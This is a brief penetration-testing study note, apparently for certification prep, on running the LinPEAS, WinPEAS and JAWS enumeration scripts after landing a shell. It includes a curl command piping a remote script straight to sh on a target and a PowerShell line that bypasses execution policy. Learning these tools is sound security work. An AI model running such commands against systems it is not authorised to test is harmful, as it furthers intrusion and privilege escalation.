Automated privesc enumeration: LinPEAS, WinPEAS, JAWS
Enumeration scripts for post-exploitation to quickly identify potential privilege escalation vectors.
bash·1 min read··INE Certification
These are the first thing worth running after landing any low-level shell or session on a target, before spending time hunting for privesc paths by hand. These scripts do the enumeration legwork automatically and flag likely escalation vectors — writable files owned by root, weak service permissions, missing patches, etc. — in their output.
LinPEAS (Linux)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh -a > linpeas_output.txt # -a = all checks, redirect since output is longWinPEAS & JAWS (Windows)
# WinPEAS has 3 main formats
# winPEAS.exe / winPEAS.ps1 / winPEAS.bat
# JAWS (PowerShell-only enumeration) — transfer jaws-enum.ps1 to the target first, then:
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txtBoth PEAS scripts are part of the same PEASS-ng project (github.com/peass-ng/PEASS-ng) with the same output style, one per OS. JAWS is a lighter, PowerShell-only alternative for Windows when you can’t get a full binary onto the target.
Related
- Kernel exploit suggesters — narrower tools focused specifically on kernel/patch-level CVEs
- Linux SUID binary exploitation — one of the vectors these scripts flag
- Linux privilege escalation via misconfigured cron jobs — another common flagged vector
- Windows kernel privilege escalation — the Windows-side follow-up once a missing patch is flagged
- Windows UAC bypass — another Windows privesc path these scripts can point toward